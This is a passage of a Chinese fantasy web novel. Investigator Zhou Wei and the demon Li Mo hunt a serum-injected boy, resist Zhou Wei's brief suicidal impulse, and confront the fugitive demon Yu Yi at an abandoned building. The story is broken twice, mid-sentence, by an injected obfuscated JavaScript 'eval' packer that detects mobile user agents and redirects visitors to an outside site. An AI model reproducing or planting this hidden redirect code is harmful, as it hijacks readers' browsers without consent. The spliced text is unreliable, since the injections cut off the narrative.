李默探身过来,用手遮在眉上给他搭了个遮阳棚,影子恰到好处地落到周纬的半张脸上,他一抬头,看到了李默一双忧虑的眼睛。 “……怎么了?”周纬有些茫然地看了看他:“我们这是在哪儿?几点了?” “我们已经回到市局了。”李默轻声道:“现在是下午一点二十,你在回来的路上睡着了……周队,你还记得吗?” 周纬眨了眨眼睛,记忆这才恍然回笼。 岚山行动结束后,他们就地休整了一番,所有参与行动的队员都得到了白泽配置的解毒剂。在此期间他们听白泽讲述了一番关于灵力血清的事,随即决定回市局布置下一步行动。 周纬受了伤,所以回来的路上是李默开的车……他记得自己上一秒好像还在跟李默分析案情,怎么竟然说着说着就就直接睡着了么? 周纬轻轻地吸了一口气。 “行,”他挥开李默为他遮阳的手,推开车门:“回来了就开始干活吧。李默,帮我召集老何、医研中心肖主任、行动一组二组组长到会议室,再把调查组那三个人叫来,十五分钟后开会。我先去找赵局汇报一下情况。” 他跳下车。路虎这种越野车的地盘太高,他落地时微不可察地晃了一下,很快就挺直了脊梁,双手插兜,若无其事地走进了市局大楼。 李默担忧的眼神一直在背后追随着他。 刚刚周纬挥开他时,手指碰到了碰到了他的手臂。哪怕隔着一层衣物,他也能感觉到周纬的指尖冰凉——他坐在车上,迎着春日暖阳,昏昏沉沉地睡了一路,和煦的阳光落在他身上,未能温暖他半分。 李默不由自主地想起了刚刚在回程路上时的情景。 那时周纬坐在副驾上,手里夹着根烟,手肘惯常地搭在车窗上,还在慢条斯理地对着李默说话。他梳理案情时的思路很清晰,对下一步行动也有着明确的方向。然而说着说着,李默就感觉身边的声音突然弱了下来。 他还以为周纬遇到了什么难题,陷入了沉思。然而好一会儿都没等到他再说话,于是李默把着方向盘,偏头朝旁边看了一眼。 周纬的眼睛不知何时已经阖上了。 他支在车窗上的手中倏然垂落,夹在指尖的香烟燃着了一半,眼看就要掉落下来—— 李默下意识地探身伸手,千钧一发之际接住了那根滑落的香烟。 那灼红的烟头险之又险地没落到周纬那价值不菲的外套上,却实打实落到了李默的掌心里,他“嘶”了一声,心头骤然一紧,握着方向盘的手立马失了力道,路虎紧跟着猛烈一晃—— 眨眼间,一种几乎堪称恐慌的情绪突然漫了上来。 李默突然想,周纬的身体,到底是怎么了? 前几天晚上,他私下里去见了白泽,原本就是想求证这个问题。一线监察员常年战斗,身体多有伤损,这原本很正常。然而他曾经照料过周纬一晚,细致检查过他的身体,并没有发现他身上有什么伤病。灵力者的体质本就比普通人要强得多,周纬这么年轻,身边还有白泽这种神医在,正常来讲应该不会这么虚弱才对……所以到底是哪儿出了问题? 然而他向白泽提出这个疑问,白泽却反问了他一个问题。 “打听人家的身体情况?”那天晚上,白泽坐在大堂中央喝茶,撩起眼皮瞥了一眼堂下站着的他,问道:“是个有常识的人都知道病人资料不能轻易透露给无关人员。小子,你是周纬的什么人?” 李默:“……” 这问题委实没法回答。 实事求是的话他只能说自己是周纬的同事——同事,这关系可太密切了,市局门口的门卫小刘和食堂做饭的王阿姨,宽泛点也能说是周纬的同事。 他一个“同事”,凭什么要去打听周纬的健康情况呢?越界也不是这么个越法的。 然而李默却不是个会轻易放弃的人。 他对白泽道:“不知白泽先生是否知道,周队他前不久刚受过一次伤?” 白泽:“嗯?” 于是李默将新莲码头大战时发生的事仔仔细细地讲了一遍,讲到周纬强灌灵砂撑开青璇结界时,就见白泽突然“砰”地狠狠拍了一下桌子,豁然起身。 他冷笑道:“真是活腻歪了。” “周队身居要职,经常需要面对险情,大多数情况下他都宁愿以身犯险,也不想手下的队员受伤。”李默顺势恳切道:“我想了解周队的身体情况,主要是想知道限度在哪里……如果再遇到这种情况,总得有个人拦着他拼命。” 不知是不是他的错觉,他这句话一出口,白泽和重明的神情都有了些微妙的变化。 他们两人对视一眼,重明的眼中闪过一丝担忧,而白泽脸上则浮现出更深的冷笑。 只听白泽道:“你一个妖类,认识周纬才多久?‘拦着他拼命’,真是好大的口气。” “白泽先生也是妖类,不也一样和周队成为了朋友么?”李默不卑不亢道:“周队不希望自己的身体情况被市局的其他同事知道,但我阴差阳错已经得悉,自然不能再袖手旁观。还望白泽先生慷慨援手,赐教一二。” 白泽:“……” 这番话说得入情入理,饶是白泽也再说不出什么来了。 然而他还是不甘心,在椅子上左摇右晃了几下,活像屁股上长了钉子,然而半晌也没挑出李默的错处,这人突然发起了脾气,冲着重明炸毛道:“你看他说话,一股子古董化石味!到底是我活得长还是他活得长!” “……”站在一旁的重明哭笑不得道:“你就告诉他吧。” 李默心下微微一定。 最终,李默在白泽横挑鼻子竖挑眼、心不甘情不愿的态度下,得到了他一句含糊不清的回答——“总之你让他少动用灵力,尤其是雷属性灵力和他那条天杀的鞭子。” 少动用灵力…… 李默想起了昨夜周纬对玉一的那含怒一击,心中缓缓地沉了下去。 让一位监察队长少动用灵力……可能吗? 他在心里无声地叹了口气。 * 灵力血清的事件曝光之后,事态进一步升级。这一回,连赵昌誉都感到了头大。 如果说之前钦原逃脱一事还能说是总部的内部问题,那么灵力血清事件,就是继灵器黑货案之后,在珑湖市辖区内爆出的另一桩惊天大案。 能够将普通人强制转化成灵力者的血清针剂——这是什么概念? 这背后制造者、制造原理、流通渠道与范围、目的和利润……这些问题无不令人细思极恐。然而这些深层次问题却不是目前异监局面临的最紧要问题。最紧要的问题是——该怎么找到那个已经注射了灵力血清的少年冯坤。 一切都来源于白泽的一句话—— “你们最好赶紧找到那个人类,在他彻底失控之前。” 这句话并不是危言耸听。 在岚山上,周纬等人听白泽详细讲述了一番跟灵力血清相关的事件始末。据他所说,这种把普通人强行转化为灵力者的尝试并不是如今才有,其渊源甚至可以追溯到远古的两族大战时期。 当时,孱弱的人类种族为了能够多觉醒一个灵力者,多增加一分对抗妖族的力量,实在是无所不用其极。他们发现了妖类的力量可以刺激人类觉醒之后,便尝试了各种各样的手段,包括但不限于生吃妖肉、沐浴妖血,甚至以“献祭”为名与妖类强行媾和…… 这些方法原始、血腥而残忍,且绝大多数都是无效的,尝试之人无不是怀着绝大的勇气为种族献身,最后也大多下场惨烈。 只是尝试得多了,也总有那么几个偶然能撞到大运,成功觉醒灵力。之后又经过了漫长的岁月,这些灵力者们彼此通婚,经过一代代的血脉筛选,血统逐渐稳定下来,这才诞生了诸多后代当中能够稳定觉醒灵力者的灵修家族。 数千年来,除了那些能够自然觉醒的先天灵力者,后天觉醒的灵力者,绝大多数都是复刻了这个过程,都是在妖类或者灵力的刺激下被动觉醒的。然而哪怕是后天觉醒的灵力者,通常也是本身血脉中便有此潜力,这些人多少都和那些灵修家族沾点血缘关系,就如同俗语所说,“五百年前是一家”。 而在那些灵修家族之中,也不是所有人都能觉醒的,无论受到何种刺激都无法觉醒灵力的也大有人在——总而言之,这事儿差不多就是个玄学。 但无论如何,想要令那些本无可能觉醒灵力的人,在外力的刺激下强行觉醒……是不会有好下场的。 冯坤这个孩子,也不知和那个妖类钦原待了多久,如果他有觉醒潜力的话,正常情况下应该早就已经觉醒了。而他到现在都还没能获得灵力,基本就说明了一件事——这孩子天生就是无法觉醒灵力的。 在这种情况下,他强行注射了血清,会发生什么呢? 当年那些人类先辈们,是人类危急存亡的关头,在明知希望渺茫的情况下,为了抗击妖类,为了种族存续,心甘情愿地接受了这份风险,抱定了必死的决心,才将妖类的力量引入体内的。 可在现在这个年代,有人却又制造出了这种东西,目的何在? 而拿到这支灵力血清的人,又真的明白自己握在掌中的,究竟是什么东西吗? 就像那个名叫冯坤的孩子…… 他知道从他将第一支血清推入血管的那一刻起,自己的人生就已经开始倒计时了吗? 在岚山之上,周纬曾经问过白泽这样一个问题:“已经注射了血清的人,还能救得回来吗?” 白泽却反问了他一个问题:“一只破茧的蝴蝶,你有办法把它重新变回毛毛虫吗?” 这个问题的答案是早已注定的。 只是对于那些注射了血清的人来说,撕开茧衣之后,他们迎来的将不是展翅新生,而是冰冷绝望的死亡。 即便如此,周纬还是让白泽带走了那支注射器里的血清残液,让他想办法解析其成分及制作方法,以及抱着万一的希望,看看能否制作出逆转药剂。 关键是目前他们根本不清楚这东西的来源和制作者,更不清楚它的流通渠道和扩散范围。万一这种东西已经在异监局不知情的情况下大范围流入人类世界,那后果就不是“不堪设想”四个字可以概括的了。 异监局必须做好万全的打算,按照最坏的情况来谋划对策。如果能做出逆转药剂最好,就算实在没有,对这种诡异血清的了解也越多越好。 同时周纬还派人将冯坤的父母再次“请”到了异监局,并且彻底搜查了冯坤的家和学校,走访了他的亲戚朋友、老师同学等社会关系;杨小钱和珑湖市局信息科的监察员一起,逐一搜索检查冯坤的上网历史和浏览记录,试图从浩瀚的互联网中打捞起吉光片羽,拼凑还原出这个少年的样貌。 一切都是为了一个目的,尽快找到冯坤。 因为那些牺牲了的人类先辈的前车之鉴尤在眼前——无法转化成灵力者的普通人,身体根本无法承受住如此巨大能量的刺激,在死亡之前会出现不可挽回的崩溃。与此同时,他们整个人都会成为一个行走的能量炸弹,当他们呼出最后一口气的那一刻,也就是那积蓄体内的巨大能量失控爆发的时候。 谁也不想看到“珑湖市少年闹市区自爆”这种词条出现在热搜榜上。 这一开会、布置、安排,就折腾到了天色近暮。 到了下午六点半,周纬还还没有要休息的迹象,李默终于忍无可忍地冲进办公室,将正和季凌云讨论是否要联系夜市追查灵力血清来源的周纬拖了出来。 “该吩咐的都已经吩咐过了,剩下的就只有等消息了。”李默直接将周纬拽下了楼,不由分说将他塞进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168107|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路虎宽大的副驾里,系安全带的姿势仿佛要将他五花大绑:“要等消息,在家里也可以等。” 周纬:“等等,冯坤爹妈还没审……” 李默一把按住他:“一晚上他们死不了的。” 他的语气斩钉截铁,说得周纬一时居然怔在了原地,随后眨了眨眼睛,不知怎的,他罕见地把嘴闭上了。 ……片刻后又张开了,他望着转到驾驶座上、正在发动车子的李默,语气有些微妙地问道:“李默同志,你这是要送回我回家吗?” 李默瞥了他一眼,反问道:“如果我不送你回去,你今晚要怎么过?” 怎么过?还能怎么过?周纬办公室一角塞着一张折叠床,抽屉里牙刷牙膏一应俱全,市局每层有一个带淋浴室的卫生间,换洗衣物在柜子里码起了三层。他可以四仰八叉地瘫在沙发上,任身上昂贵的真丝衬衣滚成一团,一手拿一份案件材料,一手夹着一根香烟,将自己变成一个吞云吐雾的人形香炉——过去的无数个夜晚,他都是这么过来的。 除了拿换洗衣物,他很少回家。 办公室比那个所谓的“家”有人气,他还没那么想死,不想过早地住进棺材里。 然而此时此刻,“回家”这两个字一出,周纬眼前却不由自主地出现了那天早晨,李默戴着围裙,拿着擦手巾,站在阳光笼罩的厨房里的情景。刹那间四菜一汤的味道似乎又从记忆里翻涌了上来,周纬心中那个冷寂的“家”的形象轰然消散,在温暖丰盛的阳光和早餐的冲击下溃不成军。 生平第一次,周纬提到“回家”这件事,心中生出的不是排斥,居然变成了几分隐秘的期待。 然而此人虽然期待,嘴却还是一定要硬的,从鼻子里“哼”了一声道:“你送我回去,那你自己怎么办?再开我的车回市局?你不还住在市局附近的宾馆么?” 李默瞥了他一眼,见他一副硬邦邦的样子,双臂抱在胸前,手指头却暗自在臂弯的衣服褶皱处捻来捻去,不由失笑:“如果我想回来,周队的车可以借我么?” 周纬一噎。 牙尖嘴利的周大队长这还是第一次尝到搬起石头砸自己的脚的滋味,刹那间恨不得逆转时间,把刚才那句“开我的车回市局”原模原样地叼回来吃了。 刹那间周纬心里转过了十万八千个心思,有心想说一句“不借”,可是人家好心好意送你回家,你连个车都不肯借是什么意思?又想来一句“车借你了我开什么”,再一想自家小区的地下车库里,还有一辆金光闪闪的奥迪A7在等着。 见了鬼了,他要买那么多车干什么?! 没有半分钟的功夫,周纬已经在脑海里跟自己翻来覆去地打了好几百架,人好端端的坐在副驾驶上,七窍却差点生出了气急败坏的青烟来。 然后就听见李默轻笑一声:“开玩笑的——不知道以我的厨艺,包一早一晚两顿饭的话,能不能在周队家里换到一张沙发的位置呢?” 周纬:“?” 周纬:“!” 他的一双桃花眼倏然睁大了,难以置信地看向李默。 身旁的妖类仗着自己五感超人心分二用,一边把着方向盘,一边偏头朝着周纬微微一笑,一双深邃黑眸在黑暗的车厢里亮晶晶的:“不可以么?” 周纬浑身蓦然一抖。 他这才恍然回神一般,带着几分慌乱地坐直了身体,目不斜视地望着前方,装模作样地握起拳头,放在唇边轻咳一声:“也行吧——沙发太寒碜了,你可以挑一间卧室。” 李默笑眯眯地道:“谢谢周队。” 妖类的眼力就是好用——哪怕是在黑洞洞的车里,他也能明显地看到周纬的耳朵红了。 交易达成,李默一打方向盘,拐进了沿途的一家超市——周纬家的冰箱在功能上跟花瓶属于一个等级,纯属摆设。李默第一次去就吃了教训,指望那里面有什么能做菜的东西,还不如指望周纬突然化身哆啦A梦,从口袋里给他掏一家超市出来。 他们在超市里买了鸡蛋、牛肉卷、蘑菇、火腿和胡萝卜,还打包了一只已经处理好的老母鸡,又选好了明天早饭的食材。周纬家里有砂锅,李默准备今晚简单做个肥牛煲仔饭和松茸鸡汤给周纬补一补,明天早晨起来给他包鸡蛋虾仁的馄饨吃。期间,由于李默不得不一再给周纬科普卤水豆腐和千叶豆腐、松茸和松露等等食材的区别,他们在超市里耽搁了整整一个小时。 等到他们终于到达周纬家,竟然已经接近八点了。 “所以北豆腐跟南豆腐到底有什么区别?” 由于这一次周纬这个业主在场且意识清醒,两人终于得以正经走一回正门和电梯,不用再翻墙越户了。周纬家是一梯一户,出了电梯就是住户门,周纬走在前面,一边指纹解锁开门,一边表示匪夷所思并且完全不可理喻:“为什么豆腐这种东西还要有地域差异?南方和北方人长的不是一个胃吗?” 手上拎着大包小包食材的李默:“……” 他想说他一个刚化形十年的妖类,对人类博大精深的美食文化真的没有那么深刻的了解。 “其实主要是因为生活习俗不……”他最后还是试图解释,却发现眼前周纬的背影突然僵住了。 与此同时,一股熟悉的妖力波动弥漫开来。 李默的眼瞳骤然一缩。 他猛地上前一步,把僵立原地的周纬拉回了自己身后。 只见隔着一间客厅,宽大的阳台上,就在半个月前李默背着周纬曾经踏足过的地方—— 有一个人影。 他蹲在细窄的阳台栏杆上,漠然望着屋内的两人。夜风透过半开的阳台门吹过,那人花白的长发和白色的帷幔同时飘起,将他映成了一个夜幕下若隐若现的剪影。 他开口说了一句话,声音很轻,隔着一间宽大的客厅,周纬其实并没有听清楚。 但他看懂了他的口型。 他说的是: “周纬,好久不见。” 50.承诺 谁也没想到,三个人之中,最先动起来的居然是李默。 他轻轻叹了口气,对周纬道:“别在家里打。” 随即他走进客厅,靠近阳台时脚步一顿,对阳台上的玉一蹙眉道:“你来得非常不是时候,但既然已经来了,那就先等在这里吧。” 玉一一言不发地望着他。 李默无视了这个蹲在别人家阳台栏杆上的妖类,径直走进了开放式厨房。他拉开周纬家那台法式大冰箱的门,将手中的食材一样一样地送进去,分门别类地码放好,保鲜冷冻荤素搭配摆得整整齐齐,瞬间填满了大半个空洞的冰箱,因为摆放得过于齐整,简直跟超市货架上似的,看起来竟然有些赏心悦目。 一人一妖的目光全都追随着他。 客厅里一时陷入了一种诡异的寂静里。 直到李默安安稳稳地把所有的食材整理好,冰箱门在一声轻响中阖上,李默这那起冰箱一侧挂着的手巾,慢条斯理地擦了擦手,转身看向玉一,心平气和道:“你是来自首的么?” 玉一:“……” 玉一道:“不是。” 他看向周纬:“我是来找他的。” 周纬整个人僵立在玄关,看上去连呼吸都静止了。 李默皱眉看着玉一:“你为什么要找他?” 停顿了一下之后,他又继续开口,这次的语气居然带上了训斥:“你是逃犯,周队是监察员,你们之间只有逃亡者和缉捕者的关系。这无关私人恩怨,而是正邪之间的较量——为什么你总是看不清自己的身份?” 听了这话,连僵立原地的周纬都转过眼来,看了一眼李默。 蹲在栏杆上的玉一也面无表情地缓缓转向他。 他发现自己真的搞不懂这个妖类。 之前在岚山战场,他指责自己“恬不知耻”,现在又来一句“看不清自己的身份”——这个妖类到底在想什么? 他似乎觉得杀人者一定要在受害人面前自责愧疚,逃亡者一定要在缉捕者面前战战兢兢……这是什么道理? 杀就杀了,逃就逃了,为什么非要有那么多的情绪……情绪不应该是留给自己关心和在意的人的吗?分在这些无关紧要的人身上干什么? 然而玉一跟李默都不是喜欢长篇大论争辩价值观分歧的人,于是他只是难以理解地看了李默一眼,大概觉得这个妖类脖子上顶了个木头疙瘩,已经没救了——随即他非常干脆地无视了李默,继续朝周纬道:“你,跟我来。” 然后还没等周纬和李默说什么,他就接着道:“只有你一个人,这个妖类不许来。否则我会在这个小区里放毒,这里的几千个人类一个都活不了。” 周纬:“好。” 李默:“那是不可能的。” 一人一妖再次同时看向他。 李默平心静气道:“我不可能看着周队一人离开。就算你以小区居民的人身安全威胁我留在这里,等你们离开后,我也一定会追踪上去。你可以飞,周队可不会,我会跟着他的气息追到你们,以我的速度,甚至不会比你们慢多少。所以你这样要求是没有意义的,你们摆脱不了我。” 他顿了顿:“当然,如果你有办法现在就制服我,让我无法追踪,这样也可以。但除非你现在就杀了我,不然这也是不可能的。” 人类谈判史上大概从来没有过如此条分缕析、平静坦然的讨价还价。李默说得太理直气壮了,以至于让玉一脸上都露出了一丝犹疑。 这个妖类委实是他计划中的变数。 玉一知道自己活不了太久了。在他死之前,必须尽可能地为冯坤争取时间,最好能将异监局的注意力全引到自己身上,让他们忽略冯坤。 杀一个监察队长,应该可以达到这个效果……更何况他跟周纬之间确实还有些账需要清算。 只是他不能在异监局的眼皮子底下,不能在“烛照”的探测范围内开打,否则异监局会很快出动支援力量。以他现在的状态,已经再经不起一次岚山围猎那样的攻势了。 所以他得把周纬,从“烛照”的范围内引开。 原本他的计划中,自己出现在周纬家里,以全小区人类的性命相要挟,周纬一定会同意跟他走。等到离开“烛照”系统的探测范围,异监局的人无法来援,他就可以放心地取周纬性命,尸体送回异监局,引所有的监察员来追捕他,这样就可以最大限度地给冯坤争取时间。 可是这个叫李默的妖类的出现,却打乱了他的计划。 玉一不理解。 一个妖类,大晚上的出现在周纬这个监察队长的家里干什么? 不过,虽然是变数,倒也不是不可以修正。 反正杀一个也是杀,杀两个也是杀。对他来说,没有什么区别。 ——A级妖类,就杀不得么? 玉一想了想,看向李默,点了点头道:“好。” 说罢,他再不言语,翻身后仰,身形瞬间消失,竟是直接从十六楼坠了下去。 就在他坠落的一刹那,玄关的周纬身形微微动了一下。他仿佛是想要去追,然而只是身子轻轻晃动了一下,脚下却没有做出任何反应。像是有什么东西钉子一样楔入了他的身体,他的灵魂和肉/体同时被扎在了原地。 李默几乎是瞬间就闪到了他身边,一把扶住他的手臂:“周队?” 周纬:“我……” 他喉头蠕动,却没能发出任何完整的声音,仿佛是下意识地,他的手往上一抬,死死地攀住了李默的小臂,像是个将要溺亡的人抓住最后一根救命稻草般,他木然僵硬地转向了他。 李默心头一颤。 周纬的双瞳像是变成了一双搅起汹涌漩涡的深潭,潭面波涛狂涌水浪翻滚,中心却是深不见底的空洞。 他就这样用一双空洞的眼睛注视着李默。 李默轻轻地吸了口气,抓住周纬的手施加了几分力道,沉声道:“周队,你知道自己该做什么吗?” 周纬茫然地看着他:“杀……” 杀了那只钦原吗?不,杀不得。 他身上还牵连着妖犯逃脱的重要线索,这比他本人的性命重要得多。他不能死。 但是他不能死么? 他杀了那么多人,他不能死么? 他凭什么不死呢?他凭什么在自己眼前堂而皇之地活下去呢?自己凭什么不能杀他呢? 阿洺和筱曼还在天上看着,他们会允许自己放过他吗? 周纬觉得自己快要疯了。他脸上面无表情,大脑却仿佛正在被撕裂。 一边是折磨了他十四年的内疚和自责,是他见到玉一之后暴涨的愤怒和杀心;另一边是他作为监察队长的职责,是他放不下的大局和责任。 两边相互拉扯,几乎要将他整个人撕成两半。他被“复仇者”和“监察员”两个身份来回折磨,感觉自己快要被绞成一团肉泥了。 几乎是顺理成章的,一个念头分开混乱汹涌的识海,清晰地浮现了出来。 "死了就不用纠结了。"他恍然大悟地想。 如果他跟玉一同归于尽…… 如果他能在杀死玉一的同时,让玉一的毒刺捅穿自己的胸口…… 他其实早该去死了。他跟玉一本就是十四年前那场惨案最大的两个凶手,同时杀死玉一和自己,他就算替阿洺和筱曼完完整整地报仇了……他们应该会满意的吧? 同时他也不用再回到异监局,不需要再面对被自己抛在脑后的责任……干净利落,一了百了,这样不好么? 周纬空洞的双眼骤然亮了起来。 他几乎是欣喜若狂地给自己找到了这条出路,全身的汗毛刹那间倒竖起来。有那么一刻,他几乎要怀疑钦原的逃脱是上天给自己的一场恩赐,是对自己十年来监察员生涯付出的全部心血的一种报偿,让他终于有机会做完十四年前未能了结的事,亲手同时结束两个罪人的一生。 还有比这更好的结局吗? 李默一直目不转睛地盯着周纬的表情,只见周纬的呼吸突然急促起来,双眼骤然爆射出一团瘆人的精光,脸上显现出一种几乎是狂乱的喜悦,他的心狠狠往下一沉。 然后毫无预兆的,他的手臂猛一用力! 周纬:“呃!” 他被李默猛然发力的手臂震开,后背狠狠地撞到了防盗门上,突如其来的剧痛冲散了他内心癫狂的喜悦,他愕然地抬起头来:“李……” 然后他就听见“砰”的一声,李默左手突然从他耳侧滑过,狠狠按在了防盗门上。 与此同时,他的右手按住了周纬的胸膛。正压在他心脏的位置。 “周队,”他直视着周纬的眼睛,声音冷沉,一字一顿地道:“你对我说过,你不会轻易寻死的。” 周纬:“我……” 他的呼吸骤然一乱。这一刻,周纬第一次从李默身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173421|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受到了,那种属于大妖的特有的威势和压迫感。 这个男人仿佛终于在他面前暴露出了“妖”的一面,他的双眸第一次失去了温度,居高临下,沉郁而冷漠地望着周纬,目光宛如寒刃般冰冷刺骨。 周纬只觉得自己要被那冰冷的目光剖开了。他的身体被李默抵在坚实厚重地防盗门上,无处可逃也无处可躲。那只按在他心口的手沉重而坚实,带着不容忽视、不容拒绝的力道。他感到自己的心脏被李默禁锢在掌下,先是一滞,随后刹那间慌乱而激烈地狂跳起来,“咚咚”地撞击着他的肋骨和胸腔。 好烫,太烫了。 真的太烫了。 周纬的胸口几乎被他自己的滚烫的心脏灼穿。刹那间,一种难以言喻的羞愧与歉疚涌上心头,周纬几乎是本能地偏开了头,不敢直视李默的眼睛。 然而李默却一直一眼不眨地望着他,突然撤了手。 不仅仅是挪开了手掌,他整个人都后退了几步,放开了周纬。 他这一退,周纬身上的压力骤然消失,他呼吸一滞,又忍不住转过头来去看李默,垂落身侧的手臂下意识地抬了抬,似乎是想要去抓住他。 然而李默已经退开了。 他后退到了客厅里。月光穿过阳台的白色帷幔照进来,将他浑身裹在了皎白的月光下,虽然只是退开了几步,他整个人却仿佛突然变得无比缥缈,无比遥远。 他抬起头,用一种几乎是混杂着痛苦、悲切和哀求的语气,轻声道:“周队……你要食言么?” “不!我不会!”周纬跌跌撞撞地扑了过去,因为过于急切慌乱而失去了平衡,他趔趄了一下,整个人几乎是栽进了李默怀里:“我不……” 他浑身一僵,像是此时此刻才意识是到自己刚刚答应了什么,抓住李默衣襟的双手剧烈地颤抖了一下。周纬深深地埋下头,死死扯住李默的衣襟,双肩嶙峋耸立,肩胛骨几乎要刺穿皮肉。 他哽咽道:“我不会……” 李默抬起双手,将他紧紧拥抱在怀里。 “我会陪着你的。”他在周纬耳畔轻声道:“我们走吧。” * 路虎一路风驰电掣,向城郊驶去。 玉一有意让他们跟随,每隔一段距离就会留下一道气息痕迹,这些气息在李默的视野中连成了一条清晰鲜明的线,将他们一路往城郊引去。 “烛照”系统只能在有电子眼和监控摄像头的地方生效,而越远离市中心,监控密度越低,“烛照”的探测能力也会被逐渐削弱。只要离开了“烛照”的探测范围,周纬跟李默就算是跟异监局断联了,他们发生什么市局都不会知道。 然而车行驶到一半,周纬就认出了这条路。 他猛然抓住了李默的手:“这是……” 李默已经猜到了:“这是那条通往烂尾楼的路,是么?” 周纬咬着牙点了点头,额头上青筋毕露。 ——陈洺和陈筱曼的尸体,当初就是在一处烂尾楼中被发现的。 李默:“到了。” 他一打方向盘,路虎车轮扭转,激起一片唰然烟尘,随后几乎是以横冲直撞的姿态撞进了工业园翻倒的大门。这处工业园荒废已久,当初就因为资金断链而没能完工,如今十余年过去,园区内部已经是荒草丛生,到处可见堆积的工业和建筑垃圾,还有几辆电瓶车翻倒锈蚀,被半人高的荒草掩埋,宛如几具倒伏在草丛中的尸骸。 周纬当年来到这里的时候是一个暴雨之夜,也没有这满园萋萋荒草,雨幕和夜幕遮蔽之下,工业园内是一片荒凉和空旷。如今人事皆非,他再来到这里,却发现自己几乎认不出这个地方了。 唯有那幢高耸的烂尾楼破败依旧。 今夜无风无雨,月光激亮,将整座废弃工业园照得纤毫毕现。那幢烂尾楼耸立在月光下,宛如一个死去巨人的尸骸,嶙峋腐败,筋骨毕露,上面的每一个黑洞洞的窗口,都像是一只空洞无神的眼睛。 玉一就站在楼顶等着他们,月光勾勒出了他鲜明的身形轮廓。 周纬仰头看了那个人影一眼,“砰”的一声,带上了车门。 李默来到了他身边,无声地牵起他的手,轻轻地握了握。 周纬抬起眼睛,和他对视。 一切已无需多言。 他们两个同时转头,望向高楼上那个孤独的身影。 一切,都将在今夜终结。 51.醒梦 玉一站在楼顶上,静静地俯瞰着下方的一人一妖。 他们手拉着手,看上去很亲密。 他们两个是一起上来的。烂尾楼内通向楼顶的楼梯已经被钢板封住,从楼内是无法上到天台来的,所以那两人干脆是从天而降。那个名叫李默的妖类搂着周纬的腰,带着他一跃而起,在楼梯外墙上几次借力就跳上了楼顶。跃至半空时那妖类的黑色风衣在夜空下展开,在风中猎猎作响,像是一只展翼的黑鹤,落地时却无比轻柔,没有惊动楼顶的一丝灰尘。 就像一只习惯了在高山深涧穿梭来去的野兽,趾爪踩在刀锋般的山岩峭壁上,轻捷而自由。 那个妖类确实很强。 真是奇怪,这么强的妖类,怎么会跟在周纬身边的呢? 玉一把目光投向了旁边的周纬。 片刻之后,他轻声道:“你长大了。” 确实长大了。这其实是这么多年来玉一第一次好好打量周纬,之前在岚山战场上的那一次,他们匆匆见面,匆匆交手,都还没来得及好好看上对方一眼;而之前在周纬家中时他是来下战书的,也不是说话的好时机。 这么多年来玉一一直在珑湖市的范围活动,当然也听说过当年那个追捕过他的少年如今已经成为了珑湖市局的监察队长,但他只去看过周纬一次,从那之后再也没有对他产生过兴趣。对他来说,那个穿着监察员制服、身居高位的人类青年只是个陌生人。 他对周纬的印象,还停留在当初他被抓的那一夜,战场之上的惊鸿一瞥。 记忆中的那个少年很瘦,脸色苍白,没有现在这么高,头发却要长一些,垂落在脸颊两侧,像是两道漆黑的帘子。他孤身一人站在战圈外围,也许是因为年龄太小的缘故,在众多监察员中间显得格格不入,目光阴郁冷漠,像是幽深的沉湖。 而现在…… 现在面前的这个人却是个明显的大人了。他长高了,不像以前那样瘦小孱弱,身形挺拔有力,气质沉稳内敛,连最后一丝青涩稚拙的气息也已经褪去,看起来是个学会了喜怒不形于色的成年男人了。 不过区区十几年,人类的变化就会这么大的么?玉一忽然有些恍惚。 那么他的小坤……十几年后也会变成这样么? 变成了这样之后……是不是就不会记得他了? “不要用这种语气跟我说话。”就在此时,周纬的声音响了起来,打断了他的思绪。 玉一抬起头来。 周纬神情漠然。他像是根本不知道应该用什么样的表情面对玉一,于是就只好摆出了一副坚硬漠然的表情,脸上像是罩了一层铁壳的面具。他微微垂着头,没有直视玉一,只是用毫无起伏、平板无波的声调说:“不要用这种语气跟我说话。” 本来就是这样。“你长大了”?这是什么见鬼的打招呼方式?好像玉一是他的什么许久不见的长辈……李默说的真的很对,这个妖类真的永远都摆不清自己的位置,看不清自己的身份。 其实本来以周纬的牙尖嘴利,是能说出一些更尖酸刻薄的话来的,比如“虽然我长大了,但我看你老得都快死了”或者“苟延残喘这么多年,我看你过得也不怎么样嘛”之类的话……可他发现自己竟然什么都说不出来。 岂止是说不出来,他甚至都不敢抬起眼睛直视玉一。 多年来他始终以为自己是恨玉一的,至少十四年前确实如此。当时他参加了那场围捕玉一的战斗,在众多监察员的围攻中第一次见到了那个杀死他朋友的妖类……那个时候他真的满心仇恨和暴怒,想也不想就扑了上去,挡在了玉一逃跑的路线上,心里想着的是要将这个妖类千刀万剐,哪怕是自己粉身碎骨地死在他手上。 那时的他尚敢直视玉一的眼睛,双眸中汹涌着那么多的恨意和怒火……然而时过境迁,他甚至连看玉一一眼都不敢,低垂着双眸仿佛对面站着的是一团什么不可直视的东西,看一眼就会灼伤他的双眼。此时此刻他终于意识到了自发现玉一还活着的真相以来,徘徊在他心底、一直暴怒所隐藏和压抑起来的那股颤栗的感觉是什么了……那是足有让人心智扭曲的痛苦和恐惧。 玉一对他来说,代表的就是十四年前的那桩惨案,是他不愿回想的过去,是他最深的噩梦。 